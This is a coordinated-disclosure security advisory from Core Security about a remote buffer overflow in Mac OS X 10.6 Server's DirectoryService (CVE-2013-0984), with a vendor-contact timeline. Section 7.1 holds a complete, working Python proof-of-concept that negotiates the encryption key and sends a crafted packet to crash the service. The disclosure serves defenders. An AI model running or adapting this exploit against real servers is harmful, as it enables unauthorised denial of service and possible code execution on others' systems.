Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
Mac OSX Server DirectoryService buffer overflow
1. *Advisory Information*
Title: Mac OSX Server DirectoryService buffer overflow
Advisory ID: CORE-2013-0103
Advisory URL:
http://www.coresecurity.com/advisories/mac-osx-server-directoryservice-buffer-overflow
Date published: 2013-06-04
Date of last update: 2013-06-04
Vendors contacted: Apple
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-0984
3. *Vulnerability Description*
A memory corruption vulnerability was found in Mac OSX Directory
Service. By sending a maliciously crafted message, a remote attacker
could cause the directory server to terminate or execute arbitrary code
with system privileges. The issue existed in the directory server's
handling of messages from the network.
4. *Vulnerable Packages*
. Mac OS X 10.6.8 Server (x86_64)
. Mac OS X 10.6.7 Server (x86_64)
. Mac OS X 10.6.6 Server (x86_64)
. Mac OS X 10.6.5 Server (x86_64)
. Mac OS X 10.6.4 Server (x86_64)
. Mac OS X 10.6.3 Server (x86_64)
. Mac OS X 10.6.2 Server (x86_64)
. Mac OS X 10.6.1 Server (x86_64)
. Mac OS X 10.6.0 Server (x86_64)
. Other versions are probably affected too, but they were not checked.
5. *Vendor Information, Solutions and Workarounds*
. Apple security updates are available via the Software Update
mechanism: http://support.apple.com/kb/HT1338.
. Apple security updates are also available for manual download via:
http://www.apple.com/support/downloads.
. For further information regarding this issue visit:
http://support.apple.com/kb/HT1222.
. Vendor also notifies that this issue does not affect OS X Lion or
OS X Mountain Lion systems.
6. *Credits*
This vulnerability was discovered and researched by Nicolas Economou.
The publication of this advisory was coordinated by Fernando Miranda
from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
The bug is located in the function 'DSTCPEndpoint::AllocFromProxyStruct'
from 'DSTCPEndpoint.cpp'[1]. An attacker can control both the value of
'inProxyDataMsg->fDataSize' and the data that will be copied. Thus, by
sending a huge amount of data and a small buffer size, the service will
crash trying to access an unmapped memory block.
7.1. *Proof of Concept*
Before running the PoC, make sure you meet the following prerequisites:
1. The PyCrypto toolkit [2] has to be installed.
2. The IP address and port (hardcoded at the end of the file) have to
point to your server.
3. The PoC was tested against a Mac OSX Server 10.6.8 with the last
security patch installed [3].
/-----
from Crypto.Cipher import AES
import socket
import struct
import time
def send_packet(sock, data):
packet = ""
packet += "DSPX"
packet += struct.pack(">I", len(data))
packet += data
sock.send(packet)
def get_crypted_data(shared_key, data):
cipher = AES.new(shared_key, AES.MODE_CBC, "\x00" * 16)
crypted_data = cipher.encrypt(data)
return crypted_data
def attack(ip, port):
try:
p = socket.socket()
p.connect((ip, port))
except Exception, e:
print e
return
data = ""
data += "DHN2"
data += "\x00" * 63 + "\x02" # Key that generates a DERIVED KEY,
identical to the one received.
# Packet 1
print ("\nSending my public key ...")
send_packet(p, data)
resp = p.recv(65536)
# Key sent by server.
key_sent = resp[8: len(resp) - 1]
server_key = ""
# Flip the number.
for i in range(len(key_sent) - 1, -1, -1):
server_key += key_sent[i]
# String to (a huge) number conversion.
big_number = ""
for c in server_key:
big_number += "%.2x" % ord(c)
big_number = int(big_number, 16)
prime = 2 ** 128
# Obtaining the SHARED KEY (To be use for AES encryption).
derived_key = pow(big_number, 1, prime)
magic_number = derived_key
derived_key_string = ""
# Transform key into a string.
while magic_number != 0:
resto = magic_number % 256
magic_number /= 256
derived_key_string += struct.pack("B", resto)[0]
print "shared key: %s" % repr(derived_key_string)
# Handshake.
print "Sending the Handshaking"
data = "A" * 4 + ("\x0c" * 12)
crypted_data = get_crypted_data(derived_key_string, data)
send_packet(p, crypted_data)
resp = p.recv(65536)
data = ""
data += "A" * 0x1b
data += "\x02"
data += struct.pack("<I", 0x10000000) # Evil value.
data += struct.pack("<I", 0x100) # Value to be used by
the last patched version.
data += "A" * ( 0x34 - len(data) )
data += struct.pack(">I", 0x1172 + 1) # Operation code.
data += struct.pack(">I", 0x99999999)
data += struct.pack(">I", 0x80808080)
data += struct.pack(">I", 0x81818181)
data += struct.pack(">I", 0x66666666)
data += "B" * (0xe0 - len(
data)) # Bypass in previous Mac OSX versions ( Integer
underflow -> ( ( 0xe0 + 0x10 ) - 0x100 )
data += "\x00" * 16
crypted_data = get_crypted_data(derived_key_string, data)
# TRIGGER
print ( "Sending the evil packet" )
send_packet(p, crypted_data)
p.settimeout(10)
try:
p.recv(65536)
except Exception, e:
print e
p.close()
try:
print ( "\nwaiting 10 seconds for check ..." )
time.sleep(10)
p = socket.socket()
p.settimeout(10)
p.connect(( ip, port ))
except Exception:
print ( "\nThe attack was successful !\n" )
return
print ( "\nThe attack wasn't successful\n" )
return
ip = "192.168.100.1"
port = 625
attack(ip, port)
-----/
8. *Report Timeline*
. 2013-01-09:
Core Security Technologies notifies Apple Product Security of the
vulnerability and sends technical details and a PoC to reproduce the
issue. Publication date is set for Feb 19th, 2013.
. 2013-01-10:
Apple Product Security acknowledges reception of the advisory (id
250731893 assigned).
. 2013-02-01:
Core asks Apple Product Security if they were able to reproduce the
issue and requests a status update.
. 2013-02-05:
The Apple Product Security team notifies that they were able to
reproduce the issue and asks to delay the advisory publication until
they were able to ship a security update.
. 2013-02-19:
First release date missed.
. 2013-02-25:
Core notifies that release dates can be re-scheduled based on concrete
and detailed information about vendor plans to produce a fix, but Core
has not received that information from Apple yet.
. 2013-02-28:
Vendor notifies that they are still working on fixing the issue and the
current best estimate for releasing a patch is late April.
. 2013-03-05:
Core re-schedules the advisory publication for April 30th and asks for
detailed technical information.
. 2013-03-08:
Vendor notifies that the issue affects Mac OS X Snow Leopard Server
only. Code execution may theoretically be possible but Apple Product
Security team was not able to do so.
. 2013-04-22:
Core asks for a status update.
. 2013-04-24:
Vendor estimates that they will address this issue in early May.
. 2013-04-30:
Second release date missed.
. 2013-04-30:
Core notifies that the second release date was missed and that the
advisory publication can be re-scheduled if Apple provides enough
feedback and technical information for justifying that decision: 1. For
what reasons Apple was not able to release the update at the end of
April as planned? 2. What is the status of next security update? 3. What
is the new tentative release date? 4. Is a patch available for test it?
. 2013-05-02:
Vendor notifies that the reported issue is addressed in the upcoming
security update for Mac OS X Snow Leopard, targeted for mid-May.
. 2013-05-02:
Core re-schedules the advisory publication for May 14th.
. 2013-05-02:
Vendor sends an invitation to join in to the Apple Software Customer
Seeding program [4] for pre-release access to builds of this security
update.
. 2013-05-07:
Third release date missed.
. 2013-05-13:
Core asks if the tentative release date of Mid May still stands.
. 2013-05-14:
Fourth release date missed.
. 2013-05-15:
Vendor notifies that the upcoming update addresses a considerable number
of security issues and the release has to be postponed. Vendor notifies
they will communicate a tentative release days in the next few days.
. 2013-05-27:
Core asks for a release date and notifies that the advisory was
re-scheduled for Jun 6th; this date should be considered final unless
vendor provides a clear timeline to justify keep delaying the release.
. 2013-05-29:
Vendor notifies that they are still waiting a confirmation from CORE
Security that the update they seeded [2013-05-02] addresses the reported
issue.
. 2013-05-29:
Core notifies that being part of Apple beta test program was never
requested and asks for a CVE number and a confirmed release date.
. 2013-05-30:
Vendor notifies that the invitation to the Apple Software Customer
Seeding [4] was sent because Core requested a patch for testing on
[2013-04-30]. Vendor asks if Core has already completed the patch
testing process.
. 2013-05-30:
Core notifies that it was not possible to download the patch from the
location provided by Apple and no more time nor resources can be spent
on this case. Core also notified that this case was reported 5 months
ago and 4 release dates were missed: Feb 19th, late April, early May and
mid-May. Additionally, in the last weeks Core asked for a release date
several times but did not receive any answer. For those reasons, Core
confirms the release date of Jun 6th.
. 2013-05-31:
Vendor notifies that the security update is on track for releasing next
week and assigns CVE-2013-0984 for this issue. Vendor changes the
vulnerability impact from DoS to code-execution.
. 2013-06-04:
Vendor notifies that the security update was released.
. 2013-06-04:
Advisory CORE-2013-0103 released.
9. *References*
[1]
http://opensource.apple.com/source/DirectoryService/DirectoryService-621/Proxy/DSTCPEndpoint.cpp
[2] https://www.dlitz.net/software/pycrypto/
[3] http://support.apple.com/kb/HT5501 - DirectoryService
[4] https://appleseed.apple.com
10. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
12. *Disclaimer*
The contents of this advisory are copyright (c) 2012 Core Security
Technologies and (c) 2012 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
